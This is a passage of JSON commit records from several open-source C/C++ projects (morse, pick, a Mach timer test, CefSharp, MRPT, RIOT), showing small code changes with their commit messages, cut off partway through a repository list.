{"commit":"0f723b00387c4fe9134ac41f8d6d658f5b12901e","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#include \"translate.h\"\n#include \"transmit.h\"\n#include \"util.h\"\n\n#include <stdio.h>\n#include <unistd.h>\n\nint main(int argc, char **argv) {\n\tsetup_util(argv[0]);\n\n\t\/\/ Initialize options to default values.\n\tint mode = 'e';\n\tint time_unit = 0;\n\n\t\/\/ Get command line options.\n\tint c;\n\textern char *optarg;\n\textern int optind, optopt;\n\twhile ((c = getopt(argc, argv, \"hedt:\")) != -1) {\n\t\tswitch (c) {\n\t\tcase 'h':\n\t\t\tprint_usage(stdout);\n\t\t\treturn 0;\n\t\tcase 't':\n\t\t\tif (!parse_int(&time_unit, optarg)) {\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t\t\/\/ fall through\n\t\tcase 'e':\n\t\tcase 'd':\n\t\t\tmode = c;\n\t\t\tbreak;\n\t\tcase '?':\n\t\t\treturn 1;\n\t\t}\n\t}\n\t\/\/ Make sure all arguments were processed.\n\tif (optind != argc) {\n\t\tprint_usage(stderr);\n\t\treturn 1;\n\t}\n\n\t\/\/ Dispatch to the chosen subprogram.\n\tswitch (mode) {\n\tcase 'e':\n\t\treturn encode();\n\tcase 'd':\n\t\treturn decode();\n\tcase 't':\n\t\treturn transmit(time_unit);\n\t}\n}\n","new_contents":"\/\/ Copyright 2016 Mitchell Kember. Subject to the MIT License.\n\n#include \"translate.h\"\n#include \"transmit.h\"\n#include \"util.h\"\n\n#include <stdio.h>\n#include <unistd.h>\n\nint main(int argc, char **argv) {\n\tsetup_util(argv[0]);\n\n\t\/\/ Initialize the default mode.\n\tint mode = 'e';\n\n\t\/\/ Get command line options.\n\tint c;\n\textern char *optarg;\n\textern int optind, optopt;\n\twhile ((c = getopt(argc, argv, \"hedt\")) != -1) {\n\t\tswitch (c) {\n\t\tcase 'h':\n\t\t\tprint_usage(stdout);\n\t\t\treturn 0;\n\t\tcase 'e':\n\t\tcase 'd':\n\t\tcase 't':\n\t\t\tmode = c;\n\t\t\tbreak;\n\t\tcase '?':\n\t\t\treturn 1;\n\t\t}\n\t}\n\t\/\/ Make sure all arguments were processed.\n\tif (optind != argc) {\n\t\tprint_usage(stderr);\n\t\treturn 1;\n\t}\n\n\t\/\/ Dispatch to the chosen subprogram.\n\tswitch (mode) {\n\tcase 'e':\n\t\treturn encode();\n\tcase 'd':\n\t\treturn decode();\n\tcase 't':\n\t\treturn transmit();\n\t}\n}\n","subject":"Remove option argument for transmit mode","message":"Remove option argument for transmit mode\n","lang":"C","license":"mit","repos":"mk12\/morse"}
{"commit":"f4131aca5d93830c9559440d19cf66aa1838d10b","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <sysexits.h>\n#include <unistd.h>\n\n#include \"choices.h\"\n#include \"config.h\"\n#include \"io.h\"\n#include \"ui.h\"\n\nvoid usage();\nvoid version();\n\nint\nmain(int argc,char **argv)\n{\n\tint ch;\n\tstruct choices *cs;\n\n\twhile ((ch = getopt(argc, argv, \"hv\")) != -1)\n\t\tswitch (ch) {\n\t\tcase 'v':\n\t\t\tversion();\n\t\tdefault:\n\t\t\tusage();\n\t\t}\n\targc -= optind;\n\targv += optind;\n\n\n\tcs = get_choices();\n\tput_choice(get_selected(cs));\n\tchoices_free(cs);\n\treturn EX_OK;\n}\n\nvoid\nusage()\n{\n\tfprintf(stderr, \"usage: pick [-h]\\n\");\n\tfprintf(stderr, \"    -h      display this help message and exit\\n\");\n\tfprintf(stderr, \"    -v      display the version and exit\\n\");\n\texit(EX_USAGE);\n}\n\nvoid\nversion()\n{\n\tprintf(\"%s\\n\", PACKAGE_VERSION);\n\texit(EX_OK);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <sysexits.h>\n#include <unistd.h>\n\n#include \"choices.h\"\n#include \"config.h\"\n#include \"io.h\"\n#include \"ui.h\"\n\nvoid usage();\nvoid version();\n\nint\nmain(int argc,char **argv)\n{\n\tint ch;\n\tstruct choices *cs;\n\n\twhile ((ch = getopt(argc, argv, \"hv\")) != -1)\n\t\tswitch (ch) {\n\t\tcase 'v':\n\t\t\tversion();\n\t\tdefault:\n\t\t\tusage();\n\t\t}\n\targc -= optind;\n\targv += optind;\n\n\n\tcs = get_choices();\n\tput_choice(get_selected(cs));\n\tchoices_free(cs);\n\treturn EX_OK;\n}\n\nvoid\nusage()\n{\n\tfprintf(stderr, \"usage: pick [-h] [-v]\\n\");\n\tfprintf(stderr, \"    -h      display this help message and exit\\n\");\n\tfprintf(stderr, \"    -v      display the version and exit\\n\");\n\texit(EX_USAGE);\n}\n\nvoid\nversion()\n{\n\tprintf(\"%s\\n\", PACKAGE_VERSION);\n\texit(EX_OK);\n}\n","subject":"Correct usage message option list.","message":"Correct usage message option list.\n","lang":"C","license":"mit","repos":"DBOTW\/pick,prahlad37\/pick,prahlad37\/pick,GBuella\/pick,temochka\/pick,DBOTW\/pick,thoughtbot\/pick,temochka\/pick,calleerlandsson\/pick,DBOTW\/pick,prahlad37\/pick,thoughtbot\/pick,thoughtbot\/pick,calleerlandsson\/pick,calleerlandsson\/pick,thoughtbot\/pick,GBuella\/pick,prahlad37\/pick"}
{"commit":"91b6f8dd73c6cead933c396d27405d50ad1e4633","old_file":"tcp\/main.c","new_file":"tcp\/main.c","old_contents":"\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nint main(int argc, char *argv[]) {\n    return 0;\n}\n\n","new_contents":"\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include \"timer.h\"\n#include \"ports.h\"\n\nint main(int argc, char *argv[]) {\n    int prt, time;\n    mach_port_t port;\n    tcp_timer_t timer;\n    char buffer[4096];\n    typeinfo_t tpinfo;\n    timer_message_t* msg = (timer_message_t*)buffer;\n\n    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);\n    timer = start_timer_thread(port);\n\n    while(1) {\n        scanf(\"%d\", &prt);\n        scanf(\"%d\", &time);\n        if(time == 0) break;\n        add_timer(timer, time, prt, (uintptr_t)(argv[prt % argc]));\n    }\n\n    while(1) {\n        if(!receive_data(&port, &tpinfo, buffer, 1024)) continue;\n        printf(\"Received : %d -> \\\"%s\\\"\\n\", msg->port, (char*)msg->data);\n        if(msg->port == 42) break;\n    }\n\n    return 0;\n}\n\n","subject":"Create code to test timer","message":"Create code to test timer\n","lang":"C","license":"mit","repos":"lucas8\/ENS_sysres,lucas8\/ENS_sysres"}
{"commit":"af8e53a6a1f592c6d3e4ce1bf100ec7b927ef679","old_file":"CefSharp.Core\/SchemeHandlerFactoryWrapper.h","new_file":"CefSharp.Core\/SchemeHandlerFactoryWrapper.h","old_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"include\/cef_scheme.h\"\n#include \"Internals\/AutoLock.h\"\n\nusing namespace System;\nusing namespace System::IO;\nusing namespace System::Collections::Specialized;\n\nnamespace CefSharp\n{\n    private class SchemeHandlerFactoryWrapper : public CefSchemeHandlerFactory\n    {\n        gcroot<ISchemeHandlerFactory^> _factory;\n\n    public:\n        SchemeHandlerFactoryWrapper(ISchemeHandlerFactory^ factory)\n            : _factory(factory) {}\n\n        ~SchemeHandlerFactoryWrapper()\n        {\n            _factory = nullptr;\n        }\n\n        virtual CefRefPtr<CefResourceHandler> SchemeHandlerFactoryWrapper::Create(CefRefPtr<CefBrowser> browser, CefRefPtr<CefFrame> frame, const CefString& scheme_name, CefRefPtr<CefRequest> request) OVERRIDE\n        {\n            auto handler = _factory->Create();\n            CefRefPtr<ResourceHandlerWrapper> wrapper = new ResourceHandlerWrapper(handler);\n            return static_cast<CefRefPtr<CefResourceHandler>>(wrapper);\n        }\n\n        IMPLEMENT_REFCOUNTING(SchemeHandlerFactoryWrapper);\n    };\n}","new_contents":"\/\/ Copyright  2010-2015 The CefSharp Authors. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"include\/cef_scheme.h\"\n#include \"Internals\/AutoLock.h\"\n\nusing namespace System;\nusing namespace System::IO;\nusing namespace System::Collections::Specialized;\n\nnamespace CefSharp\n{\n    private class SchemeHandlerFactoryWrapper : public CefSchemeHandlerFactory\n    {\n        gcroot<ISchemeHandlerFactory^> _factory;\n\n    public:\n        SchemeHandlerFactoryWrapper(ISchemeHandlerFactory^ factory)\n            : _factory(factory) {}\n\n        ~SchemeHandlerFactoryWrapper()\n        {\n            _factory = nullptr;\n        }\n\n        virtual CefRefPtr<CefResourceHandler> Create(CefRefPtr<CefBrowser> browser, CefRefPtr<CefFrame> frame, const CefString& scheme_name, CefRefPtr<CefRequest> request) OVERRIDE\n        {\n            auto handler = _factory->Create();\n            CefRefPtr<ResourceHandlerWrapper> wrapper = new ResourceHandlerWrapper(handler);\n            return static_cast<CefRefPtr<CefResourceHandler>>(wrapper);\n        }\n\n        IMPLEMENT_REFCOUNTING(SchemeHandlerFactoryWrapper);\n    };\n}","subject":"Remove redundant method prefix (cpp)","message":"Remove redundant method prefix (cpp)\n","lang":"C","license":"bsd-3-clause","repos":"rlmcneary2\/CefSharp,illfang\/CefSharp,windygu\/CefSharp,haozhouxu\/CefSharp,battewr\/CefSharp,joshvera\/CefSharp,twxstar\/CefSharp,ruisebastiao\/CefSharp,ruisebastiao\/CefSharp,battewr\/CefSharp,jamespearce2006\/CefSharp,Haraguroicha\/CefSharp,VioletLife\/CefSharp,dga711\/CefSharp,zhangjingpu\/CefSharp,AJDev77\/CefSharp,illfang\/CefSharp,windygu\/CefSharp,windygu\/CefSharp,illfang\/CefSharp,twxstar\/CefSharp,AJDev77\/CefSharp,zhangjingpu\/CefSharp,joshvera\/CefSharp,VioletLife\/CefSharp,ruisebastiao\/CefSharp,Livit\/CefSharp,AJDev77\/CefSharp,ITGlobal\/CefSharp,yoder\/CefSharp,Livit\/CefSharp,Livit\/CefSharp,gregmartinhtc\/CefSharp,dga711\/CefSharp,NumbersInternational\/CefSharp,joshvera\/CefSharp,NumbersInternational\/CefSharp,gregmartinhtc\/CefSharp,twxstar\/CefSharp,ITGlobal\/CefSharp,rlmcneary2\/CefSharp,rlmcneary2\/CefSharp,Haraguroicha\/CefSharp,gregmartinhtc\/CefSharp,dga711\/CefSharp,jamespearce2006\/CefSharp,haozhouxu\/CefSharp,battewr\/CefSharp,dga711\/CefSharp,jamespearce2006\/CefSharp,Livit\/CefSharp,joshvera\/CefSharp,yoder\/CefSharp,Haraguroicha\/CefSharp,wangzheng888520\/CefSharp,gregmartinhtc\/CefSharp,haozhouxu\/CefSharp,wangzheng888520\/CefSharp,VioletLife\/CefSharp,jamespearce2006\/CefSharp,rlmcneary2\/CefSharp,twxstar\/CefSharp,battewr\/CefSharp,illfang\/CefSharp,haozhouxu\/CefSharp,jamespearce2006\/CefSharp,NumbersInternational\/CefSharp,zhangjingpu\/CefSharp,Haraguroicha\/CefSharp,NumbersInternational\/CefSharp,wangzheng888520\/CefSharp,Haraguroicha\/CefSharp,ITGlobal\/CefSharp,yoder\/CefSharp,zhangjingpu\/CefSharp,yoder\/CefSharp,ITGlobal\/CefSharp,windygu\/CefSharp,AJDev77\/CefSharp,wangzheng888520\/CefSharp,ruisebastiao\/CefSharp,VioletLife\/CefSharp"}
{"commit":"d1623adf412466a6cdae907a8df5c2c9ec45cdfa","old_file":"libs\/base\/include\/mrpt\/utils\/pimpl.h","new_file":"libs\/base\/include\/mrpt\/utils\/pimpl.h","old_contents":"","new_contents":"\/* +---------------------------------------------------------------------------+\n   |                     Mobile Robot Programming Toolkit (MRPT)               |\n   |                          http:\/\/www.mrpt.org\/                             |\n   |                                                                           |\n   | Copyright (c) 2005-2016, Individual contributors, see AUTHORS file        |\n   | See: http:\/\/www.mrpt.org\/Authors - All rights reserved.                   |\n   | Released under BSD License. See details in http:\/\/www.mrpt.org\/License    |\n   +---------------------------------------------------------------------------+ *\/\n\n#pragma once\n\n\/** \\file Macros to help implementing the PIMPL idiom and make all \n * declarations easier to read and less error-prone. \n *\/\n\n#define PIMPL_DECLARE_TYPE(_TYPE, _VAR_NAME)  void *_VAR_NAME\n\n#define PIMPL_CTOR_INIT(_TYPE, _VAR_NAME)  _VAR_NAME(NULL)\n\n#define PIMPL_DESTROY(_TYPE,_VAR_NAME)  \\\n\tif (_VAR_NAME) { delete reinterpret_cast<_TYPE*>(_VAR_NAME); _VAR_NAME=NULL; }\n\n#define PIMPL_CONSTRUCT(_TYPE,_VAR_NAME)  \\\n\tPIMPL_DESTROY(_TYPE,_VAR_NAME) \\\n\t_VAR_NAME = new _TYPE();\n\n#define PIMPL_GET_REF(_TYPE, _VAR_NAME)  (*reinterpret_cast<_TYPE*>(_VAR_NAME))\n#define PIMPL_GET_CONSTREF(_TYPE, _VAR_NAME)  (*reinterpret_cast<const _TYPE*>(_VAR_NAME))\n\n","subject":"Add header with PIMPL helper macros","message":"Add header with PIMPL helper macros\n","lang":"C","license":"bsd-3-clause","repos":"MRPT\/mrpt,MRPT\/mrpt,MRPT\/mrpt,MRPT\/mrpt,MRPT\/mrpt"}
{"commit":"a982af330cbff6929fc7ed24f52816641bf0fcb5","old_file":"drivers\/include\/nvram.h","new_file":"drivers\/include\/nvram.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2015 Eistec AB\n *\n * This file is subject to the terms and conditions of the GNU Lesser General\n * Public License v2.1. See the file LICENSE in the top level directory for more\n * details.\n *\/\n\n\/**\n * @defgroup    nvram Non-volatile RAM\n * @ingroup     drivers\n * @brief       Non-volatile RAM interface\n *\n * This API is designed around non-volatile memories which do not need blockwise\n * erase, such as ferro-electric RAM (FRAM) or magneto-resistive RAM (MRAM).\n *\n * This interface is not suitable for flash memories.\n *\n * @{\n *\n * @file\n *\n * @brief       Generic non-volatile RAM driver interface\n * @author      Joakim Gebart <joakim.gebart@eistec.se>\n *\/\n\n#ifndef DRIVERS_NVRAM_H_\n#define DRIVERS_NVRAM_H_\n\n#include <stdint.h>\n#include <stddef.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* Forward declaration in order to declare function pointers which take this\n * type as a parameter within the struct. *\/\nstruct nvram;\n\n\/**\n * @brief Device descriptor for generic NVRAM devices.\n *\/\ntypedef struct nvram {\n    \/**\n     * @brief Pointer to device-specific read function\n     *\n     * Copy data from system memory to NVRAM.\n     *\n     * @param[in]  dev   Pointer to NVRAM device descriptor\n     * @param[out] dst   Pointer to the first byte in the system memory address space\n     * @param[in]  src   Starting address in the NVRAM device address space\n     * @param[in]  len   Number of bytes to copy\n     *\n     * @return           Number of bytes read on success\n     * @return           <0 on errors\n     *\/\n    int (*read)(struct nvram *dev, uint8_t *dst, uint32_t src, size_t size);\n\n    \/**\n     * @brief Pointer to device-specific write function\n     *\n     * Copy data from NVRAM to system memory.\n     *\n     * @param[in]  dev   Pointer to NVRAM device descriptor\n     * @param[in]  src   Pointer to the first byte in the system memory address space\n     * @param[in]  dst   Starting address in the NVRAM device address space\n     * @param[in]  len   Number of bytes to copy\n     *\n     * @return           Number of bytes written on success\n     * @return           <0 on errors\n     *\/\n    int (*write)(struct nvram *dev, uint8_t *src, uint32_t dst, size_t size);\n\n    \/** @brief Device capacity *\/\n    size_t size;\n\n    \/** @brief Device-specific parameters, if any. *\/\n    void *extra;\n} nvram_t;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* DRIVERS_NVRAM_H_ *\/\n\/** @} *\/\n","subject":"Add API for NVRAM devices with byte level erase.","message":"drivers: Add API for NVRAM devices with byte level erase.\n","lang":"C","license":"lgpl-2.1","repos":"authmillenon\/RIOT,chris-wood\/RIOT,openkosmosorg\/RIOT,abkam07\/RIOT,bartfaizoltan\/RIOT,ntrtrung\/RIOT,altairpearl\/RIOT,x3ro\/RIOT,watr-li\/RIOT,lebrush\/RIOT,dailab\/RIOT,DipSwitch\/RIOT,TobiasFredersdorf\/RIOT,A-Paul\/RIOT,kb2ma\/RIOT,syin2\/RIOT,ks156\/RIOT,abp719\/RIOT,Josar\/RIOT,thiagohd\/RIOT,binarylemon\/RIOT,kb2ma\/RIOT,patkan\/RIOT,jfischer-phytec-iot\/RIOT,d00616\/RIOT,authmillenon\/RIOT,basilfx\/RIOT,kerneltask\/RIOT,DipSwitch\/RIOT,JensErdmann\/RIOT,benoit-canet\/RIOT,mziegert\/RIOT,Darredevil\/RIOT,attdona\/RIOT,openkosmosorg\/RIOT,plushvoxel\/RIOT,kaspar030\/RIOT,Ell-i\/RIOT,abp719\/RIOT,shady33\/RIOT,aeneby\/RIOT,RubikonAlpha\/RIOT,chris-wood\/RIOT,LudwigOrtmann\/RIOT,lazytech-org\/RIOT,MohmadAyman\/RIOT,TobiasFredersdorf\/RIOT,kYc0o\/RIOT,asanka-code\/RIOT,brettswann\/RIOT,dkm\/RIOT,gautric\/RIOT,jbeyerstedt\/RIOT-OTA-update,herrfz\/RIOT,Josar\/RIOT,gautric\/RIOT,watr-li\/RIOT,sumanpanchal\/RIOT,mziegert\/RIOT,ximus\/RIOT,d00616\/RIOT,ks156\/RIOT,roberthartung\/RIOT,attdona\/RIOT,alex1818\/RIOT,chris-wood\/RIOT,brettswann\/RIOT,gebart\/RIOT,MohmadAyman\/RIOT,immesys\/RiSyn,binarylemon\/RIOT,rousselk\/RIOT,biboc\/RIOT,thiagohd\/RIOT,dkm\/RIOT,automote\/RIOT,A-Paul\/RIOT,arvindpdmn\/RIOT,rousselk\/RIOT,kYc0o\/RIOT,tdautc19841202\/RIOT,zhuoshuguo\/RIOT,rakendrathapa\/RIOT,ant9000\/RIOT,MohmadAyman\/RIOT,immesys\/RiSyn,EmuxEvans\/RIOT,zhuoshuguo\/RIOT,mziegert\/RIOT,jferreir\/RIOT,automote\/RIOT,marcosalm\/RIOT,wentaoshang\/RIOT,binarylemon\/RIOT,gebart\/RIOT,rfswarm\/RIOT,kerneltask\/RIOT,mtausig\/RIOT,LudwigOrtmann\/RIOT,alignan\/RIOT,attdona\/RIOT,gbarnett\/RIOT,roberthartung\/RIOT,luciotorre\/RIOT,kYc0o\/RIOT,avmelnikoff\/RIOT,msolters\/RIOT,msolters\/RIOT,jfischer-phytec-iot\/RIOT,rajma996\/RIOT,mtausig\/RIOT,lebrush\/RIOT,abkam07\/RIOT,ThanhVic\/RIOT,alex1818\/RIOT,ant9000\/RIOT,altairpearl\/RIOT,arvindpdmn\/RIOT,Darredevil\/RIOT,rajma996\/RIOT,backenklee\/RIOT,ximus\/RIOT,yogo1212\/RIOT,EmuxEvans\/RIOT,kaspar030\/RIOT,lazytech-org\/RIOT,miri64\/RIOT,basilfx\/RIOT,fnack\/RIOT,sgso\/RIOT,LudwigOrtmann\/RIOT,changbiao\/RIOT,luciotorre\/RIOT,neiljay\/RIOT,koenning\/RIOT,alex1818\/RIOT,robixnai\/RIOT,authmillenon\/RIOT,backenklee\/RIOT,jfischer-phytec-iot\/RIOT,RBartz\/RIOT,l3nko\/RIOT,l3nko\/RIOT,tfar\/RIOT,LudwigKnuepfer\/RIOT,rfswarm\/RIOT,stevenj\/RIOT,khhhh\/RIOT,LudwigKnuepfer\/RIOT,kaleb-himes\/RIOT,ThanhVic\/RIOT,plushvoxel\/RIOT,automote\/RIOT,tfar\/RIOT,Yonezawa-T2\/RIOT,dailab\/RIOT,ks156\/RIOT,yogo1212\/RIOT,adjih\/RIOT,FrancescoErmini\/RIOT,FrancescoErmini\/RIOT,miri64\/RIOT,dailab\/RIOT,gebart\/RIOT,cladmi\/RIOT,hamilton-mote\/RIOT-OS,kushalsingh007\/RIOT,thomaseichinger\/RIOT,katezilla\/RIOT,Hyungsin\/RIOT-OS,kbumsik\/RIOT,msolters\/RIOT,RIOT-OS\/RIOT,thiagohd\/RIOT,brettswann\/RIOT,LudwigOrtmann\/RIOT,arvindpdmn\/RIOT,smlng\/RIOT,adrianghc\/RIOT,tdautc19841202\/RIOT,khhhh\/RIOT,PSHIVANI\/Riot-Code,changbiao\/RIOT,phiros\/RIOT,FrancescoErmini\/RIOT,rfswarm\/RIOT,Lexandro92\/RIOT-CoAP,RubikonAlpha\/RIOT,kb2ma\/RIOT,rakendrathapa\/RIOT,alex1818\/RIOT,josephnoir\/RIOT,haoyangyu\/RIOT,phiros\/RIOT,malosek\/RIOT,avmelnikoff\/RIOT,malosek\/RIOT,plushvoxel\/RIOT,ximus\/RIOT,Josar\/RIOT,alignan\/RIOT,asanka-code\/RIOT,thomaseichinger\/RIOT,dhruvvyas90\/RIOT,rfuentess\/RIOT,Lexandro92\/RIOT-CoAP,lazytech-org\/RIOT,RubikonAlpha\/RIOT,kYc0o\/RIOT,phiros\/RIOT,chris-wood\/RIOT,shady33\/RIOT,rakendrathapa\/RIOT,Osblouf\/RIOT,khhhh\/RIOT,malosek\/RIOT,OlegHahm\/RIOT,smlng\/RIOT,Osblouf\/RIOT,ant9000\/RIOT,phiros\/RIOT,kYc0o\/RIOT,rakendrathapa\/RIOT,daniel-k\/RIOT,katezilla\/RIOT,shady33\/RIOT,msolters\/RIOT,Darredevil\/RIOT,gautric\/RIOT,rfswarm\/RIOT,automote\/RIOT,Ell-i\/RIOT,authmillenon\/RIOT,RBartz\/RIOT,jasonatran\/RIOT,daniel-k\/RIOT,mtausig\/RIOT,asanka-code\/RIOT,changbiao\/RIOT,Ell-i\/RIOT,robixnai\/RIOT,patkan\/RIOT,MonsterCode8000\/RIOT,openkosmosorg\/RIOT,roberthartung\/RIOT,bartfaizoltan\/RIOT,l3nko\/RIOT,yogo1212\/RIOT,tfar\/RIOT,rousselk\/RIOT,jremmert-phytec-iot\/RIOT,ThanhVic\/RIOT,cladmi\/RIOT,kerneltask\/RIOT,dkm\/RIOT,kushalsingh007\/RIOT,miri64\/RIOT,Osblouf\/RIOT,dkm\/RIOT,kushalsingh007\/RIOT,changbiao\/RIOT,MarkXYang\/RIOT,zhuoshuguo\/RIOT,rfuentess\/RIOT,kb2ma\/RIOT,Hyungsin\/RIOT-OS,MonsterCode8000\/RIOT,sgso\/RIOT,MonsterCode8000\/RIOT,jasonatran\/RIOT,jbeyerstedt\/RIOT-OTA-update,lebrush\/RIOT,aeneby\/RIOT,khhhh\/RIOT,jasonatran\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,OlegHahm\/RIOT,neumodisch\/RIOT,sumanpanchal\/RIOT,thiagohd\/RIOT,rajma996\/RIOT,hamilton-mote\/RIOT-OS,beurdouche\/RIOT,phiros\/RIOT,patkan\/RIOT,toonst\/RIOT,mtausig\/RIOT,openkosmosorg\/RIOT,JensErdmann\/RIOT,katezilla\/RIOT,l3nko\/RIOT,RBartz\/RIOT,Lexandro92\/RIOT-CoAP,x3ro\/RIOT,syin2\/RIOT,haoyangyu\/RIOT,luciotorre\/RIOT,Yonezawa-T2\/RIOT,biboc\/RIOT,neumodisch\/RIOT,sumanpanchal\/RIOT,miri64\/RIOT,abp719\/RIOT,sgso\/RIOT,adjih\/RIOT,Lexandro92\/RIOT-CoAP,kb2ma\/RIOT,neiljay\/RIOT,dhruvvyas90\/RIOT,DipSwitch\/RIOT,Hyungsin\/RIOT-OS,LudwigKnuepfer\/RIOT,ximus\/RIOT,josephnoir\/RIOT,stevenj\/RIOT,d00616\/RIOT,haoyangyu\/RIOT,marcosalm\/RIOT,jremmert-phytec-iot\/RIOT,ntrtrung\/RIOT,bartfaizoltan\/RIOT,jremmert-phytec-iot\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,kaleb-himes\/RIOT,brettswann\/RIOT,mziegert\/RIOT,kushalsingh007\/RIOT,dailab\/RIOT,syin2\/RIOT,shady33\/RIOT,jbeyerstedt\/RIOT-OTA-update,OlegHahm\/RIOT,gbarnett\/RIOT,rfuentess\/RIOT,yogo1212\/RIOT,alex1818\/RIOT,abkam07\/RIOT,openkosmosorg\/RIOT,smlng\/RIOT,robixnai\/RIOT,zhuoshuguo\/RIOT,RIOT-OS\/RIOT,wentaoshang\/RIOT,rakendrathapa\/RIOT,FrancescoErmini\/RIOT,neumodisch\/RIOT,DipSwitch\/RIOT,brettswann\/RIOT,sgso\/RIOT,neiljay\/RIOT,RIOT-OS\/RIOT,robixnai\/RIOT,kaspar030\/RIOT,immesys\/RiSyn,biboc\/RIOT,gautric\/RIOT,thomaseichinger\/RIOT,luciotorre\/RIOT,rajma996\/RIOT,Osblouf\/RIOT,Hyungsin\/RIOT-OS,centurysys\/RIOT,benoit-canet\/RIOT,koenning\/RIOT,malosek\/RIOT,marcosalm\/RIOT,neiljay\/RIOT,avmelnikoff\/RIOT,brettswann\/RIOT,RBartz\/RIOT,rfuentess\/RIOT,bartfaizoltan\/RIOT,tdautc19841202\/RIOT,marcosalm\/RIOT,toonst\/RIOT,Josar\/RIOT,abp719\/RIOT,OlegHahm\/RIOT,luciotorre\/RIOT,immesys\/RiSyn,sgso\/RIOT,latsku\/RIOT,MonsterCode8000\/RIOT,gebart\/RIOT,binarylemon\/RIOT,FrancescoErmini\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,robixnai\/RIOT,gbarnett\/RIOT,robixnai\/RIOT,ks156\/RIOT,watr-li\/RIOT,rajma996\/RIOT,EmuxEvans\/RIOT,daniel-k\/RIOT,backenklee\/RIOT,ThanhVic\/RIOT,miri64\/RIOT,arvindpdmn\/RIOT,mfrey\/RIOT,daniel-k\/RIOT,thiagohd\/RIOT,toonst\/RIOT,kbumsik\/RIOT,jbeyerstedt\/RIOT-OTA-update,jfischer-phytec-iot\/RIOT,lebrush\/RIOT,OlegHahm\/RIOT,ntrtrung\/RIOT,Lexandro92\/RIOT-CoAP,Osblouf\/RIOT,koenning\/RIOT,daniel-k\/RIOT,changbiao\/RIOT,shady33\/RIOT,d00616\/RIOT,kaleb-himes\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,altairpearl\/RIOT,msolters\/RIOT,centurysys\/RIOT,plushvoxel\/RIOT,bartfaizoltan\/RIOT,basilfx\/RIOT,lazytech-org\/RIOT,herrfz\/RIOT,aeneby\/RIOT,MarkXYang\/RIOT,patkan\/RIOT,abkam07\/RIOT,roberthartung\/RIOT,ThanhVic\/RIOT,Josar\/RIOT,gbarnett\/RIOT,asanka-code\/RIOT,benoit-canet\/RIOT,BytesGalore\/RIOT,JensErdmann\/RIOT,hamilton-mote\/RIOT-OS,roberthartung\/RIOT,haoyangyu\/RIOT,cladmi\/RIOT,kerneltask\/RIOT,herrfz\/RIOT,automote\/RIOT,kaspar030\/RIOT,syin2\/RIOT,adrianghc\/RIOT,Darredevil\/RIOT,neumodisch\/RIOT,arvindpdmn\/RIOT,Ell-i\/RIOT,ThanhVic\/RIOT,altairpearl\/RIOT,dhruvvyas90\/RIOT,TobiasFredersdorf\/RIOT,openkosmosorg\/RIOT,zhuoshuguo\/RIOT,jferreir\/RIOT,changbiao\/RIOT,mziegert\/RIOT,dkm\/RIOT,MohmadAyman\/RIOT,kerneltask\/RIOT,EmuxEvans\/RIOT,abkam07\/RIOT,khhhh\/RIOT,sgso\/RIOT,FrancescoErmini\/RIOT,smlng\/RIOT,hamilton-mote\/RIOT-OS,haoyangyu\/RIOT,wentaoshang\/RIOT,d00616\/RIOT,mtausig\/RIOT,chris-wood\/RIOT,binarylemon\/RIOT,arvindpdmn\/RIOT,RIOT-OS\/RIOT,tfar\/RIOT,authmillenon\/RIOT,fnack\/RIOT,rfuentess\/RIOT,fnack\/RIOT,stevenj\/RIOT,ks156\/RIOT,lebrush\/RIOT,herrfz\/RIOT,neumodisch\/RIOT,altairpearl\/RIOT,BytesGalore\/RIOT,latsku\/RIOT,stevenj\/RIOT,thomaseichinger\/RIOT,malosek\/RIOT,kbumsik\/RIOT,MarkXYang\/RIOT,plushvoxel\/RIOT,marcosalm\/RIOT,thiagohd\/RIOT,jferreir\/RIOT,avmelnikoff\/RIOT,basilfx\/RIOT,kaspar030\/RIOT,RubikonAlpha\/RIOT,wentaoshang\/RIOT,kaleb-himes\/RIOT,MonsterCode8000\/RIOT,jfischer-phytec-iot\/RIOT,khhhh\/RIOT,mziegert\/RIOT,alignan\/RIOT,asanka-code\/RIOT,tdautc19841202\/RIOT,rousselk\/RIOT,kbumsik\/RIOT,beurdouche\/RIOT,PSHIVANI\/Riot-Code,Hyungsin\/RIOT-OS,kbumsik\/RIOT,daniel-k\/RIOT,x3ro\/RIOT,JensErdmann\/RIOT,abp719\/RIOT,jferreir\/RIOT,centurysys\/RIOT,attdona\/RIOT,immesys\/RiSyn,sumanpanchal\/RIOT,haoyangyu\/RIOT,PSHIVANI\/Riot-Code,foss-for-synopsys-dwc-arc-processors\/RIOT,A-Paul\/RIOT,jbeyerstedt\/RIOT-OTA-update,PSHIVANI\/Riot-Code,dhruvvyas90\/RIOT,kaleb-himes\/RIOT,benoit-canet\/RIOT,LudwigOrtmann\/RIOT,jremmert-phytec-iot\/RIOT,ntrtrung\/RIOT,rajma996\/RIOT,hamilton-mote\/RIOT-OS,watr-li\/RIOT,automote\/RIOT,d00616\/RIOT,DipSwitch\/RIOT,yogo1212\/RIOT,neiljay\/RIOT,benoit-canet\/RIOT,MonsterCode8000\/RIOT,jferreir\/RIOT,mfrey\/RIOT,malosek\/RIOT,adjih\/RIOT,herrfz\/RIOT,Lexandro92\/RIOT-CoAP,gebart\/RIOT,TobiasFredersdorf\/RIOT,adrianghc\/RIOT,jasonatran\/RIOT,biboc\/RIOT,basilfx\/RIOT,adrianghc